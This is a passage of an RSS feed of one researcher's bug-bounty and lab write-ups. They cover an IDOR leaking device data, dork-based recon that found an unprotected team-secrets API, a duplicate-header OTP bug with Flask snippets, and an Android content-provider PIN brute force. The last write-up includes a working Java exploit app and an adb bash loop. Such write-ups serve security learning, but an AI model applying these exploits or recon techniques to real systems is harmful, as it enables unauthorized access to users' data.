files</strong></a><strong>.</strong></blockquote><h4>The Exploit</h4><p>Nothing too complex, I simply recooked the API endpoint into one that pulls another member’s Trusted device information, and it worked.</p><pre>#reworked endpoint to return another member&#39;s device info<br>/api/v3/members/&lt;UUID&gt;/trusted-devices/info</pre><p>By substituting another user’s UUID into that endpoint, I was able to retrieve their device information. The disclosure included their User-Agent, IP address, and several cryptographic keys.</p><p>As for the UUIDs themselves, they were leaked throughout the application. For example, when a registered user shares a credential set with you, their unique UUID is exposed within the share link.</p><h4>Impact and Payment</h4><p>The major impact here was the leakage of other member’s external IPs and cryptographic keys. I reported this as a <em>High </em>but was bullied into settling for a <em>Medium</em> gang.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*4-rkRRsbVRtzKSNQkN6obg.png" /><figcaption>Getting $paid$</figcaption></figure><blockquote>You can also check out an easy <a href="https://medium.com/bugbountywriteup/easy-150-misconfigured-sso-led-to-account-takeover-4e2b83b72395"><strong>SSO vuln that led to a 2FA bypass</strong></a><strong> </strong>which made me a quick $150.</blockquote><p>Hey …<em>bye</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*DGDqOem7sYrhjrCD.gif" /><figcaption>Mr. Marsh</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on X <em>@</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter">Clement Osei-Somuah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae7a0adb518d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$1,500 Recon Secrets: Dorks to Dollars]]></title>
            <link>https://medium.com/@tinopreter/1-500-recon-secrets-dorks-to-dollars-0e7eca022708?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e7eca022708</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[google-dork]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[subdomains-enumeration]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Wed, 26 Nov 2025 08:20:32 GMT</pubDate>
            <atom:updated>2025-11-26T08:20:32.777Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Akwaaba! </strong>seniors<strong>. </strong>I will quickly tell you about a recent bounty of $<strong>1,500 </strong>I received from a program. Before I get into it, <a href="https://medium.com/bugbountywriteup/when-i-bypassed-google-captcha-the-epic-exploit-of-post-based-xss-csrf-1fb66f7cf886"><strong>POST-based XSS</strong></a> can still be exploited to earn bounties. <a href="https://medium.com/@tinopreter/exploiting-android-intent-redirection-a-hidden-path-to-internal-file-access-284cc7715f23"><strong>$2000 Android Content Provider bug</strong></a> and this has nothing to do with Burp Suite.</p><blockquote>‼️ <strong>Disclaimer:</strong><br> I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration. Also, all API endpoints mentioned have been altered to avoid revealing the actual program.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*iozapMtJTSi6VAenCbU57A.gif" /><figcaption>Sauce: <a href="https://steamcommunity.com/sharedfiles/filedetails/?id=1574112932">Itachi</a></figcaption></figure><h4>The Program</h4><p>I recently received a private invite to a program that included two main assets: <strong>app.target.com</strong> and <strong>api.target.com</strong>. The program provided a single set of credentials for logging into the application, signups were disabled.</p><p>From my initial checks, the platform appeared to be focused on document and secrets management. One interesting feature was the ability to create teams and add other users to those teams. While I could see the names of teams created by other users, no additional details such as members or permissions were visible to me.</p><h4>The Vulnerability</h4><p>After some deep recon, I uncovered hidden functionality that exposed sensitive information about other users’ teams. This included member names, roles, email addresses, UUIDs, special notes, and even private keys.</p><p>While exploring the app, I noticed a feature that lets you create a secret item and share it with individual users or entire teams. During this process, the app reveals team names and their UUIDs, even for teams you don’t belong to — which is expected behavior. Behind the scenes, an API call is made to the following endpoint to fetch team names only:</p><pre>GET /api/v1/&lt;workspace-UUID&gt;/teams<br>Host: api.target.com<br>Authorization: Bearer ey...</pre><p>Of course, following REST framework’s standards, we can attempt to retrieve info about specific teams by appending their UUID or attaching it as a parameter. In this case, appending it in the path worked.</p><pre>&#39;&#39;====Request====&#39;&#39;<br>GET /api/v1/&lt;workspace-UUID&gt;/teams/&lt;team-UUID&gt;<br>Host: api.target.com<br>Authorization: Bearer ey...<br><br><br>&#39;&#39;====Response====&#39;&#39;<br>HTTP 200 OK<br>Server: Apache<br><br>{<br>  &quot;status&quot;: &quot;success&quot;,<br>  &quot;data&quot;: {<br>    &quot;teams&quot;: [<br>      {<br>        &quot;name&quot;: &quot;First Team&quot;,<br>        &quot;uuid&quot;: &quot;a3f9c2e4-7b8d-4d1a-9f2e-1c3b5a6d8e9f&quot;<br>      },<br>      {<br>        &quot;name&quot;: &quot;Another User&#39;s Team&quot;<br>        &quot;uuid&quot;: &quot;b7d4e8f1-2c3a-4e9b-8d7f-5a6c9b3e2f1d&quot;<br>      },<br>      {<br>        &quot;name&quot;: &quot;Internal Team&quot;,<br>        &quot;uuid&quot;: &quot;c9e1f3a7-6d8b-4f2c-9a1e-3b5d7e8f2c4a&quot;<br>      }<br>    ]<br>  }<br>}</pre><p>After trying to fuzz beyond the team UUID to uncover additional endpoints, none of my wordlists returned anything useful. Since signups were disabled on the main app, I shifted focus to see if <strong>UAT</strong>, <strong>Staging</strong>, <strong>Test</strong>, or <strong>Demo</strong> environments existed. These often have signup enabled and can provide extra attack surface.</p><blockquote>I’m sneaking in this article to show you why <a href="https://medium.com/@tinopreter/iot-connect-app-insecure-broadcast-receiver-exploit-mobilehackinglab-d90642d56499"><strong>hacking an IoT Android app to control home appliances</strong></a> via a Broadcast Receiver is easier than you might think.</blockquote><h4>Reconnaissance to Identify Related Assets</h4><p>I don’t like fuzzing subdomains; I suck at it. So, I prefer to manually enumerate them passively. My first step was using <strong>Shodan</strong> to look for related domains via a shared SSL certificate (I explained this technique in my previous <a href="https://medium.com/@tinopreter/otps-for-everyone-the-simplest-otp-leak-youll-ever-find-5ff2d7d9c812"><strong>OTP Leak article</strong></a>). Unfortunately, that didn’t return anything useful. Next, I turned to <a href="https://www.imperva.com/learn/application-security/google-dorking-hacking/"><strong>Google dorks</strong></a>. The simplest dork for finding subdomains of any site is:</p><pre>site:&quot;*.target.com&quot;</pre><p>But over the years, I’ve noticed something interesting about Google dorks. A while back, I experimented by adding more than one asterisk (*) in my queries, and Google returned domains that didn’t show up when I used just a single *.</p><p>For example, using a dork like this:</p><pre>site:*.*.target.com</pre><p>gave me fresh results, including deeper subdomains like:</p><pre>internal.help.target.com<br>dev.partner.target.com</pre><p>You can keep adding more asterisks to uncover even more nested subdomains (sub-sub-sub domains). It’s a simple trick that often reveals assets missed by basic enumeration.</p><pre>site:&quot;*.*.target.com&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I65aPU3LZRePfpheZvGhbA.png" /><figcaption>sub-sub domain enumeration</figcaption></figure><p>Since my goal was to uncover <strong>STAGING</strong>, <strong>UAT</strong>, <strong>TEST</strong>, <strong>PREPROD</strong>, or <strong>DEV</strong> environments, I refined my Google dorks to target those keywords. These environments often have weaker security controls or even allow signups, making them valuable for further testing.</p><pre>site:&quot;*stg*.target.com&quot;<br>site:&quot;*-stg.target.*&quot;<br>site:&quot;*stg-*.target.com&quot;<br>site:&quot;*uat*.target.*&quot;<br>site:&quot;*.dev*.target.*&quot;<br>site:&quot;preprod.*.target.*&quot;<br>site:&quot;*.target.*&quot; inurl:&quot;staging&quot;<br>site:&quot;*.target.*&quot; inurl:&quot;uat&quot;<br>...<br><br>(You can try your own combos using the uat, stg, stage, dev, test, etc words)</pre><p>While refining my dorks, I stumbled upon two <strong>staging subdomains</strong>. One of them turned out to be an admin staging environment for a React app, and it looked almost identical to the main target application I was testing. The key difference? This staging version had a <strong>Sign-Up</strong> button, something the production app didn’t allow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vI14_Wdqkg_oiS4J0XjDUA.png" /><figcaption>Enumerating Staging sub-domains of target</figcaption></figure><h4>ADMIN Stage Reveals More</h4><p>I quickly signed up on the admin staging interface. Most of the features were broken, and the app contained test data like dummy teams and users. Despite that, I noticed something interesting: admins had the ability to manage <strong>all teams</strong> in the workspace.</p><p>When you select a specific team, the app fires <strong>three API requests</strong> to fetch detailed information about that team:</p><pre>/api/v1/&lt;workspace-UUID&gt;/teams/&lt;team-UUID&gt;<br>/api/v1/&lt;workspace-UUID&gt;/teams/&lt;team-UUID&gt;/cyqxqz-test/members<br>/api/v1/&lt;workspace-UUID&gt;/teams/&lt;team-UUID&gt;/cyqxqz-test/secrets</pre><h4>The Exploit</h4><p>I simply replayed these API endpoints in the target’s application I am testing but it failed. So, I decided to remove the <em>test </em>part from the endpoints, and it worked, I was able to retrieve Team member list, which contained detailed user info, and then the secrets which were encrypted ciphers.</p><pre>/api/v1/&lt;workspace-UUID&gt;/teams/&lt;team-UUID&gt;/cyqxqz/members<br>/api/v1/&lt;workspace-UUID&gt;/teams/&lt;team-UUID&gt;/cyqxqz/secrets</pre><h4>Impact &amp; Payment</h4><p>Since this platform is designed for sharing documents and secrets, any information or activity by other users should remain confidential unless explicitly marked as public. This exploit allowed me to access sensitive data through an API endpoint that should have been restricted to admins only.</p><blockquote>Again, a shameless plug: You can <a href="https://medium.com/bugbountywriteup/easy-150-misconfigured-sso-led-to-account-takeover-4e2b83b72395"><strong>easily make a $150 bounty</strong></a> whenever you see any SSO application.</blockquote><p>Alright, so I reported the issue responsibly and was rewarded <strong>$1,500</strong> for the finding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*wk0uQYVg85-BRVX0ZnYMtA.png" /><figcaption>Getting $paid$</figcaption></figure><p>Hey <em>hey</em>…<em>bye</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*F9JucrMSx6hvWHJO.gif" /><figcaption>Mr. Marsh</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on X <em>@</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter">Clement Osei-Somuah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e7eca022708" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OTPs For Everyone: The Simplest $OTP Leak$ You’ll Ever Find]]></title>
            <link>https://medium.com/@tinopreter/otps-for-everyone-the-simplest-otp-leak-youll-ever-find-5ff2d7d9c812?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ff2d7d9c812</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[otp-bypass]]></category>
            <category><![CDATA[parameter-pollution]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Mon, 20 Oct 2025 11:13:31 GMT</pubDate>
            <atom:updated>2025-10-21T09:42:59.885Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Akwaaba! </em></strong>abusua. I came upon a case of ‘parameter’ pollution, but not the usual kind. Stick around and follow along. Also, if you haven’t already, check out my previous <a href="https://medium.com/p/6914cc8ff66e"><strong>Android App Content Provider exploit</strong></a>. And yes, you can also land an <a href="https://medium.com/p/4e2b83b72395"><strong>Easy $150 bounty from this SSO exploit</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*FXXorq2QDbVQM5Do.gif" /><figcaption>Sauce: <a href="https://gifs.alphacoders.com/gifs/view/13817">Zaraki</a></figcaption></figure><p>Some time ago, I came across a Program on <a href="https://hackerone.com/">Hackerone</a> which had a wildcard (*) subdomain like <strong>*.target.com</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*i38OcOpkqS1gZQPjqGOKOQ.png" /><figcaption>Triage</figcaption></figure><h4>How did I identify a target?</h4><p>To identify potential targets, I used <a href="https://www.shodan.io/"><em>shodan.io</em></a> to search for domains and IP addresses that share the same SSL certificate <strong>Common Name (CN)</strong>, specifically those matching a wildcard pattern like <strong>*.target.com</strong>. This method helps identify services that may belong to the same organization or infrastructure.</p><p>For instance, if you’re investigating a domain like medium.com, you can inspect its SSL certificate to find the CN value. Once identified, you can use Shodan to enumerate other hosts with certificates containing that same CN, potentially revealing related assets or misconfigured endpoints. Steps to check the CN value for any:</p><ol><li>You can do so by clicking on the padlock icon in the address bar.</li><li>Click on the <strong>Connection is secure </strong>which will open another pop-up box.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*BJ_OSioLcEmLJUCp6CQZ7Q.png" /></figure><p>3. On the new pop-up box, click on the certificate looking icon and a final pop-up box will appear. Looking at the Common Name (CN), it should tell you the <strong>domain name</strong> the certificate is issued for.</p><blockquote>Sometimes during a bug hunt, I land on a strange subdomain and I’m not sure if it belongs to the target organization. A quick way to check is by comparing its SSL certificate’s CN with that of their main website (or any other known application). If they match, it’s likely part of their infrastructure.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFZetw_zQxUcaMewkTA5JQ.png" /></figure><p>The Shodan search query used:</p><pre>Ssl.cert.subject.CN:&quot;*.target.com&quot; http.title:&quot;Login&quot;</pre><p>From the results, I identified an application that allowed user account signup. Let’s call this application <strong>insecure.target.com</strong>.</p><h4>Identifying the Vulnerability</h4><p>During the signup process, there is a final stage where you will have to verify the email. A <strong>6-digit code </strong>is sent to your email, and you can verify.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*ljCWOliVGrmS-WlR14OVSQ.png" /><figcaption>Verify email at Sign up</figcaption></figure><p>Going back to Burp Suite to see how the API request looks like, I realized something weird:</p><ol><li>All the API requests were of the GET method</li><li>They had no form data parameters.</li></ol><p>I was a bit confused at first, how exactly was the application sending my registration data to the server? So, I took a closer look at each API request. Then, I found it: a <strong>GET request</strong> to /api/auth/mobileVerifyRequestOTP. Surprisingly, there were no special query parameters. Instead, the user&#39;s registration data was being sent entirely through <strong>HTTP headers</strong>.</p><blockquote>The other form data are also sent via different API endpoints via a GET request also.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BmzEUHCb1xwpdXsGN9K5sg.png" /><figcaption>Form data sent through Headers in a GET request</figcaption></figure><p>This was unusual but I guess it worked for them.</p><blockquote>Before reading how I exploited this, check out how I manipulated an API path to <a href="https://infosecwriteups.com/unrestricted-access-to-all-user-information-rest-api-oversharing-e4a9a7e5bade?sk=38e6126684fbb7315903e6e186673007"><strong>Access ALL user PII</strong></a>.</blockquote><h4>Exploiting Header Pollution</h4><p>Using the same idea as <a href="https://portswigger.net/web-security/api-testing/server-side-parameter-pollution"><em>parameter pollution</em></a>, I tried duplicating the Mobileusername header with two different email addresses to see how the server would handle it. Surprisingly, it accepted both and responded with a verificationID. (Note: this isn’t the OTP itself, just an ID used to track the registration session.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*u3oTFXsDpYMH5URJ38sn7A.png" /><figcaption>Duplicate the email header</figcaption></figure><p>One of the emails was my <strong>wearehackerone.com </strong>(which gets redirected to Gmail) and another from <a href="https://temp-mail.org/en/"><strong>Temp-Mail.org</strong></a><strong>. </strong>Checking my Gmail first, I saw the OTP code had arrived, and the OTP code was <strong>399336.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*H04WjsxOlFJ45f38t36uFg.png" /><figcaption>OTP arrives in first email</figcaption></figure><p>I quickly checked the Temp-Mail’s inbox, and the same <strong>399336 </strong>had arrived there also. That confirmed the vulnerability. The server had accepted both emails and sent the same code to each.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*u9RgZPS2waAY_k3C61rcxQ.png" /><figcaption>Same OTP in second different email</figcaption></figure><p>This is because the server was processing the duplicated <strong>Mobileusername </strong>headers in a weird way. Instead of rejecting or overriding the duplicate, it treated both values as part of an array and went ahead to send the same OTP code to each email address listed. This behavior was confirmed by checking the <strong>To</strong> header in the email received on my Gmail account, which clearly showed both email addresses separated by a comma (,). Even Gmail showed that another recipient had received the same OTP message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2uWelrEG5qH8OyzLFsXQg.png" /><figcaption>In first email, we see the second email showed in copy</figcaption></figure><blockquote>Shamelessly plugging my other article here: Another unique way to <a href="https://medium.com/p/1fb66f7cf886"><strong>Bypass Google CAPTCHA</strong> </a>to beat Rate Limiting. Medaase.</blockquote><h4>What could cause this Vulnerability?</h4><p>I haven’t seen their backend code; this is merely me speculating. But to demonstrate how such a vulnerability could happen, check out the Flask code snippet below.</p><pre><br>from flask import Flask, request<br>import random<br><br>@app.route(&#39;/api/auth/mobileVerifyRequestOTP?isEmail=true&#39;, methods=[&#39;GET&#39;])<br>def send_otp():<br>    # Get all values of the &#39;Mobileusername&#39; header from the GET request<br>    usernames = request.headers.getlist(&#39;Mobileusername&#39;)<br><br>    # Generate a single OTP code<br>    otp = str(random.randint(100000, 999999))<br>    verification_id = str(random.randint(100000, 999999))<br><br>    &#39;&#39;&#39;<br>     A duplicate header check should be here but none was implemented<br>    &#39;&#39;&#39;<br><br>    # Send the same OTP to all the emails<br>    send_otp_email(usernames, otp)<br>    return {&#39;verificationID&#39;: verification_id}</pre><h4>What is the Impact of such finding?</h4><p>For starters, it’s possible to create and verify an account using someone else’s email. I found that the server ties the <strong>first </strong><strong>Mobileusername header</strong> to the account being created. So, a malicious user could set the victim’s email as the first header and their own as the second. They’d receive the OTP, complete the verification, and the account would be created, <strong>under the victim’s email</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LrSMADmV_xCLeOM9haIOKg.png" /><figcaption>Register an account with another user’s email</figcaption></figure><h4>Mitigation</h4><p>This can be properly mitigated by implementing a simple check for duplicate headers. If multiple values are detected for the Mobileusername header, the server should reject the request or only process the first value securely.</p><pre><br>from flask import Flask, request<br>import random<br><br>@app.route(&#39;/api/auth/mobileVerifyRequestOTP?isEmail=true&#39;, methods=[&#39;GET&#39;])<br>def send_otp():<br>    # Get all values of the &#39;Mobileusername&#39; header from the GET request<br>    usernames = request.headers.getlist(&#39;Mobileusername&#39;)<br><br>    # Generate a single OTP code<br>    otp = str(random.randint(100000, 999999))<br>    verification_id = str(random.randint(100000, 999999))<br><br>    # Validate that exactly one header is present<br>    if len(usernames) != 1:<br>        abort(400, description=&quot;Invalid request: only one Mobileusername header is required.&quot;)<br><br>    # Send the same OTP to all the emails<br>    send_otp_email(usernames, otp)<br>    return {&#39;verificationID&#39;: verification_id}</pre><p>Hey <em>you</em>, yes you in the back…<em>bye</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*IhDEwheBVbG8SHzy.gif" /><figcaption>Mr. Marsh</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on Twitter<em> @</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter">Clement Osei-Somuah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ff2d7d9c812" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Notes App: PIN Brute Force Attack via Insecure Content Provider | MobileHackingLab]]></title>
            <link>https://medium.com/@tinopreter/secure-notes-app-pin-brute-force-attack-via-insecure-content-provider-mobilehackinglab-6914cc8ff66e?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/6914cc8ff66e</guid>
            <category><![CDATA[contentprovider]]></category>
            <category><![CDATA[static-code-analysis]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[secure-note]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 11:21:55 GMT</pubDate>
            <atom:updated>2025-09-10T11:21:55.188Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Akwaaba! </em></strong>guys, this is another piece on Android App Security where we will reverse-engineer an APK to identify a vulnerability in its Content Provider code. Check out my previous <a href="https://medium.com/@tinopreter/iot-connect-app-insecure-broadcast-receiver-exploit-mobilehackinglab-d90642d56499?sk=f91a9661f09c53c59a920e33998bf28a"><strong>broadcast receiver</strong></a> post and <a href="https://medium.com/@tinopreter/exploiting-android-intent-redirection-a-hidden-path-to-internal-file-access-284cc7715f23"><strong>Intent Redirection</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*zw6IatDkq7mfZ1jwXH28_Q.png" /><figcaption><a href="https://www.mobilehackinglab.com/course/lab-secure-notes">Lab — Secure Notes</a></figcaption></figure><p>The app implements a Content Provider that stores a PIN code. Our goal is to retrieve the PIN code from the Android application.</p><h4>Getting Familiar with the App</h4><p>Upon launching the application, you’re greeted with a simple, single-activity interface featuring an input field and a button. The app prompts the user to enter a 4-digit PIN. If the entered PIN is incorrect, an error message is displayed, guiding the user to try again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*_COIdedJwbl-KeB3efqBtQ.png" /><figcaption>App requests a 4-digit PIN</figcaption></figure><h4>Reviewing the Source Code</h4><p>A quick look at the source confirms that the app consists of a single exported Activity MainActivity and one exported Content Provider SecretDataProvider.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*7poCBW1_wOTnl5MWjsvD7Q.png" /><figcaption>AndroidManifest.xml</figcaption></figure><h4>MainActivity</h4><p>Reviewing the source code of the MainActivity, we observe that when the submit button is clicked, the onCreate$lambda$0() method is triggered. This method simply retrieves the <strong>4-digit PIN</strong> entered by the user and passes it as an argument to the querySecretProvider() method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*456V_N_474mPcvroMnovsw.png" /><figcaption>MainActivity.java</figcaption></figure><p>The querySecretProvider() method accepts the user-entered PIN as an argument and uses it to query the app’s SecretDataProvider Content Provider passing the PIN as the selection parameter. Based on the results of this query, the method either retrieves and returns the value from the Secret column or, if the query fails or returns no match, displays an appropriate error message to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*Fal_iiBb6eGPe571lY1ZbA.png" /><figcaption>querySecretProvider() method</figcaption></figure><h4>SecretDataProvider</h4><p>Shifting focus to the exported SecretDataProvider Content Provider, we find that during its initialization, it reads configuration data from a config.properties file located in the app’s assets/ directory. Specifically, it extracts the fields encryptedSecret, salt, iv, and iterationCount.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*LnsdE2vG7rLRLMoxKIw3ZQ.png" /><figcaption><strong><em>SecretDataProvider</em></strong> Content Provider</figcaption></figure><p>Peeking into the config.properties file, we see some hardcoded information in there. Most of which are base64 encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*8jpgF4EHk_Zeg_hYQql_gg.png" /><figcaption><strong>config.properties </strong>in /assets/ directory</figcaption></figure><p>Returning to the SecretDataProvider Content Provider, a closer look at the query() method reveals how incoming requests are processed. The method first strips the &quot;pin=&quot; prefix from the selection argument to isolate the 4-digit PIN. This PIN is then passed to the decryptSecret() method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*oItM-dpO6r7lHUX4bwhQQA.png" /><figcaption>upon query of <strong>SecretDataProvider </strong>Content Provider</figcaption></figure><p>The decryptSecret() method relies on a helper function called generateKeyFromPIN(), which combines the user-supplied PIN with metadata previously loaded from the config.properties file — such as the <em>salt</em>, <em>IV</em>, and <em>iteration count</em>—to derive a cryptographic key. This key is then used to decrypt and return the original plaintext secret.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*HMMnU6GR4IReS7v-dhPWbQ.png" /><figcaption><strong>decryptSecret()</strong> and <strong>generateKeyFromPin()</strong> methods</figcaption></figure><blockquote>You can read about my other write up on a <a href="https://medium.com/@tinopreter/notification-hijack-how-pendingintent-can-be-exploited-547b0892b7f7"><strong>PendingIntent</strong></a> exploit where we abuse misconfigs in improperly configured Notifications to steal contact info.</blockquote><h4>Crafting a Java Exploit App in Android Studio</h4><p>Since we know the SecretDataProvider Content Provider expects a 4-digit PIN, we can attempt a brute-force attack by systematically querying it with every possible PIN from 0001 to 9999. Before implementing this in our exploit app, we need to declare the target provider in the app’s manifest.</p><blockquote>Starting with Android 11 (API level 30), apps can no longer freely query all installed apps. Instead, you must explicitly declare the apps or components your app intends to interact with using the &lt;queries&gt; element in the manifest. This ensures your app has visibility into the target provider.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*47ntgY0enemq_pe5l1DNvg.png" /><figcaption>add <strong>&lt;queries&gt; </strong>tag to specify which provider we want to communicate with</figcaption></figure><p>With everything set up, we can now write the actual code to perform the brute-force attack by querying the exposed SecretDataProvider Content Provider. The exploit app will iterate through all possible 4-digit PINs—from 0001 to 9999—and send each one as a query to the provider. Once the correct PIN is found, the provider returns the decrypted secret, which we can capture and log.</p><pre>package com.tino.badsploit;<br><br>import android.database.Cursor;<br>import android.net.Uri;<br>import android.os.Bundle;<br>import android.util.Log;<br>import android.view.View;<br>import android.widget.Button;<br><br><br>import androidx.appcompat.app.AppCompatActivity;<br><br><br>public class MainActivity extends AppCompatActivity {<br><br>    @Override<br>    protected void onCreate(Bundle savedInstanceState) {<br>        super.onCreate(savedInstanceState);<br>        setContentView(R.layout.activity_main);<br><br>        Button btn_exploit = (Button) findViewById(R.id.btn_exploit);<br><br>        <br>        //Exploit!<br>        btn_exploit.setOnClickListener(new View.OnClickListener() {<br>            @Override<br>            public void onClick(View v) {<br>                Log.i(&quot;ExploitBtn&quot;, &quot;Exploit Button Clicked!&quot;);<br>                badQuery();<br>            }<br>        });<br><br>    }<br><br>    //Content Resolver to query target&#39;s Provider<br>    public void badQuery(){<br>        Uri uri =Uri.parse(&quot;content://com.mobilehackinglab.securenotes.secretprovider&quot;);<br><br>        //Brute Force PIN<br>        for (int i=0; i&lt;10000; i++) {<br>            String PIN = String.format(&quot;%04d&quot;, i);<br>            try {<br>                Cursor cursor = getContentResolver().query(<br>                        uri, null, &quot;pin=&quot; + PIN, null, null<br>                );<br><br>                if (cursor.moveToFirst()) {<br>                    do {<br>                        String secret = cursor.getString(cursor.getColumnIndexOrThrow(&quot;Secret&quot;));<br>                        Log.i(&quot;PIN&quot;, PIN + &quot;-&quot; + secret);<br>                    } while (cursor.moveToNext());<br>                }<br>            } catch (Exception e){<br>            }<br><br>        }<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*gRdPPX9Omw-Du8nMFEEtQw.png" /><figcaption>PIN Successfully cracked</figcaption></figure><h4>Exploiting with ADB Command Line Tool</h4><p>This same attack can be done via the ADB Shell command line tool by embedding it into a simple bash script.</p><pre>#!/bin/bash<br>for pin in {0000..9999};do<br>    echo &quot;Trying with PIN: $pin&quot;<br>    adb shell content content://com.mobilehacking.securenotes.SecretProvider -where pin=$i<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*lcATdO9YoBbkEXtaicgP1g.png" /><figcaption>bash script to brute force PIN</figcaption></figure><h4>Submit The Answer</h4><p>We can try the brute forced PIN on the app to see also. And we succeed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*KIKskx1UdX86oTDPtabt4g.png" /><figcaption>Valid PIN</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4oEaTHKOfXCmSi6IxBz1IA.png" /></figure><p><em>Hi… </em>see you later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*sHuiXggzCiVQbNID.gif" /><figcaption>Mr. Marsh</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on Twitter<em> @</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter"><strong>Clement Osei-Somuah</strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6914cc8ff66e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IoT Connect App Insecure Broadcast Receiver Exploit | MobileHackingLab]]></title>
            <link>https://osintteam.blog/iot-connect-app-insecure-broadcast-receiver-exploit-mobilehackinglab-d90642d56499?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/d90642d56499</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[iot-connect]]></category>
            <category><![CDATA[broadcastreceiver]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Fri, 15 Aug 2025 15:40:08 GMT</pubDate>
            <atom:updated>2026-01-09T23:31:40.918Z</atom:updated>
